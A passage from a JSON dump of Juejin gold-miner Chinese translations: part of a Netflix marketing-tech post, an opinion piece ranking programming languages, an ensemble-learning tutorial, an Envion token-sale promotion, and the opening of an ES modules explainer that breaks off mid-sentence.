多个不同的文件，涵盖了不同的语言和广告格式。\n\n![](https://cdn-images-1.medium.com/max/800/0*25v1WBwYoFBb3Qyf.)\n\n由于视频、字幕、配音等问题，我们的营销团队在创作，生产，测试中花费了大量的时间，有时由于视频问题还会重发这些资产。为了帮助扩展这项业务，我们还为外部机构完成这些工作承担了费用。我们希望未来可以在营销活动期间通过收集指标来确定瓶颈，能够比较各种标题的活动，并在全球团队中提供需求的可见性。\n\n**我们如何帮助他们？**\n\n我们通过查看营销工作流以及流程中的关键的自动化点来开始工作，然后开始构建应用程序/服务来帮助优化。我们正在构建：\n\n*  **数字资产管理**：我们正在构建一个数字资产管理系统，为我们的合作伙伴和外部机构提供一个可以上传/下载/共享这些数字资产的用户界面。我们支持在一次上传中上传高达兆字节的数据和数百万来自视频/照片拍摄的文件。我们利用 Amazon S3 存储物理资产，但将资产的元数据存储在 DAM 中。我们已经在系统之上构建了协作功能，也在继续投资构建更多的功能，从本质上说，这将是一个 DAM + Dropbox + Google 文档，将具有与 Netflix 工具生态系统相连接的能力。\n\n*  **云中的视频剪辑**：我们正在重建一个视频剪辑工具，我们的合作伙伴可以使用这个工具从视频片段中剪辑短片来创建预告片。\n\n*  **为营销资产组装视频**：我们正致力于开发首个视频组装工具。单击按钮后，该工具将自动创建预告片的本地化版本，提供所有输入，如主预告片文件、字幕、配音和其他语言/区域相关信息。我们很高兴能够在组装方面进行创新，因为我们有信心通过减少当前所用的各种语言创建本地化资产所花费的时间、精力和费用来获得巨大利益。现在，创建这些本地化资产，我们需要几秒或者几分钟就可以完成任务！\n\n*  **云中编码**：我们正在利用 [Netflix 编码服务](https://medium.com/netflix-techblog/high-quality-video-encoding-at-scale-d159db052746)将资产编码为不同平台规范。然而，营销团队不需要知道社交媒体平台所需的特定编码细节，因此我们在编码服务之上提供抽象层，团队只需要指定平台，该层会将其转换为对应的编码规范。我们将此作为 Netflix 中其他工具的服务进行提供。\n\n*  **活动管理监督**：我们正在创建一个全球活动管理生命周期应用程序，来提供有关营销活动健康状况的监控。这项活动将持续数月，对所有正在完成的工作提供可见性，包括指标，瓶颈以及资产从开始到交付的工作流建模。该应用程序将成为各个子团队使用的中心枢纽。\n\n当我们在每个工具上取得进展时，或者所有这些工具开始相互交互，并将资产从一个工具自动切换到另一个工具时，真正的价值就会实现，这将最大限度的减少人员对不重要决策的参与，以下是如何将它们结合在一起的方式。\n\n![](https://cdn-images-1.medium.com/max/800/0*e_uEt-JxxMTwxHaY.)\n\n我们设定了目标，让 2018 年成为所有移动部件开始协同工作的一年，我们期望在时间、成果和资源方面都取得巨大的进展。\n\n团队一直在向着正确又快速的方向发展，而且自动化和优化这些工作流可以为我们节省大量人工时间和成本。这是我们扩大规模的唯一途径。我们正在招聘 AdTech 团队中的几个[空缺职位](https://sites.google.com/netflix.com/adtechjobs)，来帮助我们设计和构建这些系统。如果你有兴趣解决这些复杂的挑战，颠覆娱乐行业，塑造其未来，我们希望你成为团队的一员\n\n就像前面提及的那样，创意开发和本地化只是营销资产创建和交付过程中的第一个阶段。在整个过程中，会存在许多有趣的机会和挑战。\n\n我们的后续文章会深入营销生命周期的下一个阶段。敬请期待！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/enough-to-decide.md",
    "content": "> * 原文地址：[How I decide between many programming languages](https://drewdevault.com/2019/09/08/Enough-to-decide.html)\n> * 原文作者：[Drew DeVault](https://drewdevault.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/enough-to-decide.md](https://github.com/xitu/gold-miner/blob/master/TODO1/enough-to-decide.md)\n> * 译者：[Badd](https://juejin.im/user/5b0f6d4b6fb9a009e405dda1)\n> * 校对者：[jiapengwen](https://github.com/jiapengwen)，[acev](https://github.com/acev-online)\n\n# 这么多编程语言，我该怎么选？\n\n在我的工具库中，有一些经典搭配是我最常用的，但我仍然想要学习足够多的编程语言，这样，当我遇到某个使用案例时，我就有足够的选项来衡量哪一个是最合适的。最佳方式就是边做边学，因此对各种语言的功能形成一个大概印象，能帮你弄清楚这些语言是否对某个特定的问题有用，即使你对这些语言还并不熟稔。\n\n我在这里列出的语言，都是我对其熟悉到了有资格评论的程度，还有很多并不在此列，我鼓励大家自己去探索。\n\n## C\n\n优点：性能优良；能访问底层工具；适合系统开发；支持静态类型；规范而且古老；全世界通用、全平台支持。<sup>[1](#footnote1)</sup>\n\n缺点：字符处理、可扩展编程是短板；在特定【领域人体工程学中】（ergonomic）库的可用性很差；坑用户，但也有些程序员认为这些坑也是有用的。\n\n## Go\n\n优点：迅速、谨慎；包管理器好用、语言生态健康；有精心设计的标准库；在处理很多问题方面都是同类中最优秀的；一个规格、多种有用实现；和 C 交互起来非常方便。\n\n缺点：运行时太过复杂；虚拟线程和真实线程无差别（也就是说，所有的程序都要处理后者的问题）。\n\n## Rust\n\n优点：**安全**；适合系统开发；优于 C++；语言生态多样，却没有 npm 的弊病；和 C 交互起来非常方便。\n\n缺点：体积太过庞大；没做到标准化；仅有一个有意义的实现。\n\n## Python\n\n优点：解决起问题来简单而迅捷；包的设计非常精巧，包生态多样化；深度可扩展，适合服务端的 Web 软件。\n\n缺点：臃肿；性能不强；数据类型是动态的；CPython 的内部开放导致了实现的单一性。\n\n## JavaScript\n\n**包括本尊及继承了其弊端的所有衍生语言。**\n\n优点：功能性强却兼具直观明了的、类 C 的语法；ES6 在许多方面都有所改进；async/await/promise 设计优良；不涉及线程处理。\n\n缺点：动态类型；包生态动荡不安；很多 JavaScript 开发者并不精通却硬造生态库；诞生于 Web 浏览器，因而继承了不少瑕疵。\n\n## Java\n\n**包括本尊及继承了其弊端的所有衍生语言。**\n\n优点：历经长足发展；易于理解、相当迅速。\n\n缺点：模板泛滥；缺少很多有用的东西；包管理器,XML 到处都是；不适合底层编程（这一点对所有 Java 系的语言都适用）。\n\n## C#\n\n优点：没有 Java 那么多模板；包生态非常健康；良好支持与 C 交互的底层工具；async/await 的发源地。\n\n缺点：因为 Microsoft 没有保留单一版本，导致语言生态混乱；开源过晚，对 Mono 不友好。\n\n## Haskell\n\n**本尊及该谱系所有的功能性编程语言，例如 elixir、erlang、大部分的 lisp 类语言，即使它们并不愿意被混为一谈**\n\n优点：**功能性强**；相当迅速；当你不关心解决方式而只看重问题的答案时，它非常有用；适合研究级别<sup>[2](#footnote2)</sup>的编译器。\n\n缺点：**功能性强**；有些难以捉摸；包管理器很糟糕；不能与其环境很好地适配；其作者希望整个世界都用一个单纯的函数设计软件来描述，就好像能做到似的。\n\n## Perl\n\n优点：[好玩](https://github.com/Perl/perl5/blob/blead/Configure)；处理正则表达式和字符串的能力是同类中最好的；当需要构建拼接程序（hacky kludge）时，用 Perl 很合适。\n\n缺点：难以捉摸；过度扩展；垃圾代码泛滥。\n\n## Lua\n\n优点：可嵌入、易于接入宿主程序；非常简单、便携。\n\n缺点：客观地说，从 1 开始索引很不可取；上游维护者好像有点心不在焉，没人对它是真爱。\n\n## POSIX Shell 脚本\n\n优点：没有什么能比把命令串在一起的做法更好了；只要学会了九成，你就可以写出很优秀、很直观的程序来解决同一类问题了；标准化（我不用 bash）。\n\n缺点：大多数人只学会了一成，因此写出的程序非常烂、非常抽象；处理不了大多数复杂的任务。\n\n---\n\n免责声明：剩下的这些编程语言，我不喜欢，也不会用它们去解决任何问题。如果你不想让你的信仰受到冲击，请不要再往下看了。\n\n## C++\n\n优点：无。\n\n缺点：语义含糊不清；过于臃肿；**面向对象**；为了兼容 C 而变得复杂；生态乌烟瘴气；水平低的开发者才会喜欢它。\n\n## PHP\n\n优点：无。\n\n缺点：每个 PHP 开发者都不懂编程；这个语言就是被设计用来确保让开发者每搬一块砖都砸在自己脚上（或者头上）的，因此整个语言生态就是一地鸡毛。别顶嘴，PHP 7 并没有什么改善。赶紧去用一门真正的编程语言吧，蠢材。\n\n## Ruby\n\n优点：既**商务**又**炫酷**，因此能够有效地将一群初级到中级的程序员集中带向一个特定的方向，也就是你的创业公司的安全出口。\n\n体型臃肿；性能糟糕；在 Node.js 崛起前，那帮程序员都用这个。\n\n## Scala\n\n优点：比 Java 更明了；适合处理**大数据量**的问题。\n\n缺点：Java 的派生物；要是没有博士学历就别想弄明白它的类型系统；过于脱离 Java，就是说作为 Java 生态的一部分，它继承了所有缺点，但优点却没怎么吸收；其类型系统毫无必要的复杂性让其自身的优点大打折扣。\n\n<a name=\"footnote1\">1</a>：只有一个平台不支持，但我才不在乎呢。\n    \n<a name=\"footnote2\">2</a>：但不适用于生产级别的编译器。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/ensemble-learning-to-improve-machine-learning-results.md",
    "content": "> * 原文地址：[Ensemble Learning to Improve Machine Learning Results](https://blog.statsbot.co/ensemble-learning-d1dcd548e936)\n> * 原文作者：[Vadim Smolyakov](https://blog.statsbot.co/@vsmolyakov?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/ensemble-learning-to-improve-machine-learning-results.md](https://github.com/xitu/gold-miner/blob/master/TODO1/ensemble-learning-to-improve-machine-learning-results.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[haiyang-tju](https://github.com/haiyang-tju), [TrWestdoor](https://github.com/TrWestdoor)\n\n# 通过集成学习**提高机器学习结果**\n\n## 集成方法的工作原理：bagging、boosting 和 stacking\n\n![](https://cdn-images-1.medium.com/max/2000/1*-XBxuOgB5j0irQiB9dRubA.jpeg)\n\n**集成学习可以通过组合多种模型来提高机器学习的结果。这种方法相对于单个模型，可以为结果带来更好的性能预测。这也是集成方法在诸多久负盛名的机器学习竞赛（如 NetFlix 竞赛、KDD 2009 和 Kaggle）中位居第一的原因。***。\n\n[**Statsbot**](http://statsbot.co?utm_source=blog&utm_medium=article&utm_campaign=ensemble) 团队为了让你了解这种方法的优点，邀请了数据科学家 Vadim Smolyakov 来带你一起深入研究三种基本的集成学习技术。\n\n* * *\n\n集成方法是将多个机器学习技术组合成一个预测模型的元算法，它可以进行 **decrease** **variance** (bagging)、**bias** (boosting) 或者 **改进预测** (stacking)。\n\n集成学习可以分成两组：\n\n*   **序列**集成方法，是基础学习对象按顺序生成的（例如 AdaBoost）。\n    序列方法的基本动机是**利用基础学习对象之间的依赖性**。通过加权先前错误标记的高权重示例，可以提高总体性能。\n*   **并行**集成方法，是基础学习对象并行生成的（例如 Random Forest）。\n    并行方法的基本动机是**利用基础学习对象之间的独立性**，因为错误可以通过均衡来显著减少。\n\n大多数集成方法都使用单基学习算法来生成同类的学习对象，即相同类型的学习对象，从而形成**集成**。\n\n也有一些使用不同类型的方法，即不同类型的学习对象，会导致**异构集成**。为了使集成方法比它的任何一个成员更精确，基础学习对象必须尽可能准确，尽可能多样化。\n\n### Bagging\n\nBagging 表示自助汇聚（bootstrap aggregation）。降低估计方差的一种方法是将多个估计平均在一起。例如，我们可以在数据的不同子集（随机选择和替换）上训练 M 个不同的树，并计算集成。\n\n![](https://cdn-images-1.medium.com/max/800/1*VLSQXGANQ-cUdcI_lyH3YA.png)\n\nBagging 使用自助采样来获取训练基础学习对象的数据子集。为了聚合基础学习对象的输出，bagging 使用**分类投票**和**回归平均**。\n\n我们可以在鸢尾花数据集分类的背景下研究 bagging 问题。我们可以选择两个基础估计器：一个决策树和一个 k-NN 分类器。图一显示了基础估计器的学习决策树边界以及应用鸢尾花数据集的 bagging 集成。\n\nAccuracy: 0.63 (+/- 0.02) [Decision Tree]\nAccuracy: 0.70 (+/- 0.02) [K-NN]\nAccuracy: 0.64 (+/- 0.01) [Bagging Tree]\nAccuracy: 0.59 (+/- 0.07) [Bagging K-NN]\n\n![](https://cdn-images-1.medium.com/max/1000/0*_qR1_TDjTpchTmDE.)\n\n决策树显示了 axes 的平行边界，当 k=1 时的最近临界点与数据点非常靠近。Bagging 集成使用 10 种基估计器来进行训练，训练数据的子采样为 0.8，特征的子采样为 0.8。\n\n相较于 K-NN bagging 集成，决策树 bagging 集成具有更高的精确度。K-NN 对训练样本的扰动不太敏感，因此被称为稳定的学习对象。\n\n> **将稳定的学习对象组合在一起并不都是有利的，因为有时这样的集成无利于提高泛化性能**。\n\n图中还显示了在测试时，随着集成度的提高精确度也会随之提高。基于交叉验证的结果，我们可以看到精确度的提升大约会在有 10 个基估计器时趋于稳定。因此，添加超过 10 个基估计器只会增加计算复杂度，而不会提高鸢尾花数据集的准确度。\n\n我们还可以看到 bagging 树集成的学习曲线。注意，训练数据的平均误差是 0.3，测试数据的误差曲线是 U 型。训练和测试误差之间的最小差距发生在训练集大小的 80% 左右。\n\n> **一种常用的集成算法是随机森林**。\n\n在**随机森林**中，集成的每一棵树都是从训练集中用替换（例如，引导样本）绘制样本构建的。此外，不使用所有的特性，而是选择一个随机子集的特征，进一步随机化树。\n\n结果，森林的偏差略有增加，但由于相关性较弱的树木被平均化，从而导致方差减小，因此形成了一个整体上更好的模型。\n\n![](https://cdn-images-1.medium.com/max/800/0*uGzCQfXlC-97VR10.)\n\n在一个**非常随机的树**中，算法的随机性更进一步：分裂阀值是随机的。对于每个候选特征，阈值都是随机抽取的，而不是寻找最具鉴别性的阈值，并选择这些随机生成的阀值中的最佳阀值作为分割规则。这通常会使模型的方差减少得多一点，但代价是偏差增加得多一点。\n\n### Boosting\n\nBoosting 是指能够将弱学习对象转化为强学习对象的一系列算法。Boosting 的主要原理是对一系列仅略好于随机预测的弱学习模型进行拟合，例如小决策树 —— 对数据进行加权处理。对前几轮错误分类的例子给予更多的重视。\n\n然后，通过加权多数投票（分类）或加权和（回归）组合预测，生成最终预测。Boosting 和 committee（如 bagging）的主要区别在于，基础学习对象是按加权版本的数据顺序进行训练的。\n\n下述算法描述了使用最广泛的，称为 **AdaBoost** 的 boosting 算法，它代表着自适应增强。\n\n![](https://cdn-images-1.medium.com/max/800/0*MmYd6wgreP-oBoKi.)\n\n我们看到，第一个基分类器 y1(x) 是使用相等的加权系数来训练的，这些系数是相等的。在随后的增强轮次中，对于被错误分类的数据点增加加权系数，对于正确分类的数据点则减小加权系数。\n\n数量 epsilon 表示每个基分类器的加权错误率。因此，加权系数 α 赋予更准确的分类器更大的权重。\n\n![](https://cdn-images-1.medium.com/max/1000/0*yu6i_z6UwcQLHpua.)\n\nAdaBoost 算法如上图所示。每个基学习器由一棵深度为 1 的决策树组成，从而根据一个特征阀值对数据进行分类（分为两个区域），该区域由一个与其中一个轴平行的线性决策面隔开。该图还显示了测试精度如何随着集成的大小和训练测试数据的学习曲线的提高而提高。\n\n**梯度树 Boosting** 是 bootsting 对任意可微损失函数的推广。它既可用于回归问题，也可用于分类问题。梯度 Boosting 以顺序的方式建立模型。\n\n![](https://cdn-images-1.medium.com/max/800/1*NCol0wpk85JG1K5Qek-6Ig.jpeg)\n\n选择决策树 hm(x) 在每个阶段使用给定当前的 Fm-1(x) 来最小化损失函数 L。\n\n![](https://cdn-images-1.medium.com/max/800/1*ogVGUcU2QpzBk_GonOxUdQ.jpeg)\n\n回归算法和分类算法在所使用的损失函数类型上有所区别。\n\n### Stacking\n\nStacking 是一种通过元分类器或元回归器来将多种分类或回归模型结合在一起的集成学习技术。基于一套完整的训练集对该基础模型进行训练，然后将该元模型作为特征所述基础级模型的输出进行训练。\n\n基础级通常由不同的学习算法组成，因此 stacking 集成往往是异构的。下面的算法总结了 stacking。\n\n![](https://cdn-images-1.medium.com/max/800/0*GXMZ7SIXHyVzGCE_.)\n\n![](https://cdn-images-1.medium.com/max/1000/0*68zDJt_8RZ953Y5U.)\n\n上图的右上子图显示了以下准确度：\n\nAccuracy: 0.91 (+/- 0.01) [KNN]\nAccuracy: 0.91 (+/- 0.06) [随机森林]\nAccuracy: 0.92 (+/- 0.03) [Naive Bayes]\nAccuracy: 0.95 (+/- 0.03) [Stacking Classifier]\n\nStacking 集成如上所示。它由 K-NN、随机森林和朴素贝叶斯基分类器组成，其预测用 Logistic 回归作为元分类器。我们可以看到 stacking 分类器实现了决策边界的混合。该图还表明，stacking 比单个分类器具有更高的精度，并且是基于学习曲线，没有出现过拟合的迹象。\n\nStacking 是赢取 Kaggle 数据科学竞赛的常用技术。例如，Otto 组产品分类挑战的第一名是由 30 个模型组成的 stacking 集成，它的输出被作为三种元分类器的特征：XGBoost、神经网络和 Adaboost。更多细节可以在[此](https://www.kaggle.com/c/otto-group-product-classification-challenge/discussion/14335)查看。\n\n### 代码\n\n本文生成所有图像的代码都可以在，你可以在 [ipython notebook](https://github.com/vsmolyakov/experiments_with_python/blob/master/chp01/ensemble_methods.ipynb) 上查看。\n\n### 总结\n\n除了本文所研究的方法，在深度学习中使用多样化训练和精确的分类器来集成也是非常普遍的方式。多样化也可以通过变化的架构、设置超参数以及使用不同的训练技术来实现。\n\n集成方法在具有挑战性的数据集上非常成功地达到了创纪录的性能，并在 Kaggle 数据科学竞赛中名列前茅。\n\n### 推荐阅读\n\n*   Zhi-Hua Zhou，“集成方法：基础与算法”，CRC Press, 2012\n*   L. Kuncheva，“组合模式分类器：方法与算法”，Wiley, 2004\n*   [Kaggle 集成指南](https://mlwave.com/kaggle-ensembling-guide/)\n*   [Scikit 集成学习指南](http://scikit-learn.org/stable/modules/ensemble.html)\n*   [S. Rachka, MLxtend library](http://rasbt.github.io/mlxtend/)\n*   [Kaggle Winning Ensemble](https://www.kaggle.com/c/otto-group-product-classification-challenge/discussion/14335)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/envion-a-name-of-mining-in-block-chain-to-support-renewable-energy.md",
    "content": "> * 原文地址：[Envion a name of mining in block chain to support renewable energy](https://medium.com/@darrellshelton964/envion-a-name-of-mining-in-block-chain-to-support-renewable-energy-e346aba33336)\n> * 原文作者：[Darrell Shelton](https://medium.com/@darrellshelton964?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/envion-a-name-of-mining-in-block-chain-to-support-renewable-energy.md](https://github.com/xitu/gold-miner/blob/master/TODO1/envion-a-name-of-mining-in-block-chain-to-support-renewable-energy.md)\n> * 译者：[geniusq1981](https://github.com/geniusq1981)\n\n# Envion 通过区块链采矿来支持可再生能源的发展\n\n![](https://cdn-images-1.medium.com/max/800/1*cB_Eke1BdOUDEFTNFJ2Qzg.png)\n\nIT 产业是世界最大的电力消费领域之一。它的电力消耗约为每年 500 太瓦时，相当于整个欧洲和日本的发电量之和，也接近于全球发电量的 100%。\n\n在这个领域，仅云计算就每年消耗 416 太瓦时，几乎与整个航空业的碳排放量相当，并且增长迅速：大约每四年云计算的电力消耗将翻一番。到 2020 年，这个数字将增加 400 太瓦时，可能超过中国的年电力消费，到 2030 年，可能会赶超全球第一大电力消费国：美国。\n\n在未来 10 年间，电力将变成一种稀缺资源，就如同高尔夫球运动，如果不进行全球化，而只被局限在特定地点和特定时间，那么势必会因为成本升高而推高它的价格。电力供给的瓶颈受制于全年发电能力的限制。云计算中增长速度最快的应用恰恰是加密货币挖掘。\n\n比特币和以太币的能源消耗总量在过去 7 年间，从几乎为零，猛增到 19.2 太瓦时，这相当于冰岛或者波多黎各的年发电量。虽然 Asic 和 GPU 的能效成倍提升，但相对应的是交易量和存货量也已成倍增长。\n\n尽管这种指数级的增长为采矿业提供了极好的机会，但数据技术产业所消耗的电力将加剧对能源竞争。只有那些能够安全使用并且用电价格合理的参与者才具有竞争力。\n\n尽管增长的需求中部分可以由燃料(非可再生能源)发电来满足，但是，从 2012 年到 2040 年，可再生能源发电量将实现翻倍，在总发电量的占比中将从 25% 增加到 33%。\n\n看上去 28 年的时间，这似乎是一件挺容易的事情。然而，在产业内部却感到不是如此的轻松。在世界范围内，90% 的可再生能源发电是水电，它的增长受限于自然环境的限制，所以仅仅会有一点点的增长。这就意味着，其它的增长都要由非水电来完成，如风力发电和潮汐发电等。\n\n从 2012 年至 2017 年，私营电力企业的发电量呈指数级增长，年发电从 10 万兆瓦时增长到到 39 万兆千瓦时。\n\n换句话说，在未来超过 20 年间，全球增长最快速的电力供应也是最重要的稳定可靠的供应来源，将是严重依赖于环境天气，这是连超级计算机也很难预测的。\n\n这最终会产生深远的影响：政府为了稳定能源市场将出台各项法律法规，这会导致因为国家、来源以及客户的巨大差异而让电力成本发生扭曲。\n\n每一个自然法则和政府干预都会导致价格波动。从长远来看，可以通过发展可再生资源，将电力生产从严重依赖非可再生资源的区域密集生产转变为地区更加分散的可再生资源电力生产，从而保持更加稳定的价格。\n\n愿景和使命\n\n我们相信，创新领域的项目是非常重要的，这也会让加密货币获得大量认可。我们更加相信，未来的采矿活动一定是去中心化的，这样可以减少对政府、人民、非可再生资源以及原子能的依赖。\n\n未来的密币挖掘必须减少与只与一种选定密币或矿池绑定所带来的常规风险。因此，envion 公司试图将力量带回密币社区。人们应该可以通过加密挖掘来获得收益，而不用在硬件和技术上进行巨大的投资。\n\n除了深入采矿业务，envion 公司还试图让普通人也参与到关键采矿选择的决策中。我们致力于减少各种阻碍，以便让更多的人可以通过密币社区获得更多的收益。\n\n![](https://cdn-images-1.medium.com/freeze/max/30/1*sXFJHYRrVeK6WWSrnjAWHQ.png?q=20)\n\n![](https://cdn-images-1.medium.com/max/800/1*sXFJHYRrVeK6WWSrnjAWHQ.png)\n\n通过让每个参与者长期参与区块链技术可以更加灵活的获取收益，envion 通过规划极低维护成本的移动采矿设备，让参与者可以选择合适的采矿地点以及密币种类，来确保密币采矿的长期发展。\n\n代币\n\nEVN 代币支持 ERC20 协议，\n\nEVN 代币向其持有者提供适当的：\n\nA.] 所有采矿收益分成两部分：\n\n75% 直接一次性分红\n\n25% 用于再投资，以增加未来收益\n\nB.] 从第三方运营的采矿业务中获得 35% 的收益\n\nC.] 重要决定的投票否决权。公司战略令牌有效期为 31 天，从 2017 年 12 月 15 日至 2018 年 1 月 14 日。\n\nEVN 币是由 envion mobile 完成，它是一家致力于解决能源供应不足的全球采矿解决方案商。接受来自全球公众的开采。投资只限于来自瑞士和美国的投资者。\n\n代币发行量不超过 1.5 亿枚\n\n一期代币发行价格 — 美元\n\n分配给 83 个签约券商，基金团队收益的 2% 作为赏金计划的准备金。\n\n开始日期：2017 年 12 月 15 日，12:00（格林尼治时间）\n\n结束日期：2018 年 1 月 14 日，23:59（格林尼治时间）\n\n1.5 亿枚代币的价格为每个 1 美元。最终分配如下：\n\n投资者占 83%，\n\n创始人占 10%，\n\n公司占 5%，用于支付咨询公司报酬等。\n\n赏金计划占 2%。\n\n折扣表\n\n代币金额\n\n15.12 (12:00 GMT) — 17.12 (11:59:59 GMT) >>> $ 0.70\n\n17.12 (12:00 GMT) — 21.12 (11:59:59 GMT) >>> $ 0.80\n\n21.12 (12:00 GMT) — 28.12 (11:59:59 GMT) >>> $ 0.90\n\n28.12 (12:00 GMT) — 14.01 (23:59:59 WIB) >>> $ 1.00\n\nWebsite — [https://www.envion.org/en/](https://www.envion.org/en/)\n\nWhite Paper — [https://www.envion.org/en/whitepaper/](https://www.envion.org/en/whitepaper/)\n\nFacebook — [https://www.facebook.com/envion.org](https://www.facebook.com/envion.org)\n\nTwitter — [https://twitter.com/Envion_org](https://twitter.com/Envion_org)\n\nInstagram — [https://www.instagram.com/envion_official/](https://www.instagram.com/envion_official/)\n\nMedium — [https://medium.com/@envion](https://medium.com/@envion)\n\nVideo — [https://vimeo.com/envion](https://vimeo.com/envion)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/es-modules-a-cartoon-deep-dive.md",
    "content": "> * 原文地址：[ES modules: A cartoon deep-dive](https://hacks.mozilla.org/2018/03/es-modules-a-cartoon-deep-dive/)\n> * 原文作者：[Lin Clark](http://code-cartoons.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/es-modules-a-cartoon-deep-dive.md](https://github.com/xitu/gold-miner/blob/master/TODO1/es-modules-a-cartoon-deep-dive.md)\n> * 译者：[stormluke](https://github.com/stormluke)\n> * 校对者：[Starrier](https://github.com/Starriers)、[zephyrJS](https://github.com/zephyrJS)\n\n# 漫画：深入浅出 ES 模块\n\nES 模块为 JavaScript 提供了官方标准化的模块系统。然而，这中间经历了一些时间 —— 近 10 年的标准化工作。\n\n但等待已接近尾声。随着 5 月份 Firefox 60 发布（[目前为 beta 版](https://www.mozilla.org/en-US/firefox/developer/)），所有主流浏览器都会支持 ES 模块，并且 Node 模块工作组也正努力在 [Node.js](https://nodejs.org/en/) 中增加 ES 模块支持。同时[用于 WebAssembly 的 ES 模块集成](https://www.youtube.com/watch?v=qR_b5gajwug) 也在进行中。\n\n许多 JavaScript 开发人员都知道 ES 模块一直存在争议。但很少有人真正了解 ES 模块的运行原理。\n\n让我们来看看 ES 模块能解决什么问题，以及它们与其他模块系统中的模块有什么不同。\n\n### 模块要解决什么问题？\n\n可以这样说，JavaScript 编程就是管理变量。所做的事就是为变量赋值，或者在变量上做加法，或者将两个变量组合在一起并放入另一个变量中。\n\n[![Code showing variables being manipulated](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/01_variables-500x178.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2018/03/01_variables.png)\n\n因为你的代码中很多都是关于改变变量的，你如何组织这些变量会对你编码方式以及代码的可维护性产生很大的影响。\n\n一次只需要考虑几个变量就可以让事情变得更简单。JavaScript 有一种方法可以帮助你做到这点，称为作用域。由于 JavaScript 中的作用域规则，一个函数无法访问在其他函数中定义的变量。\n\n[![Two function scopes with one trying to reach into another but 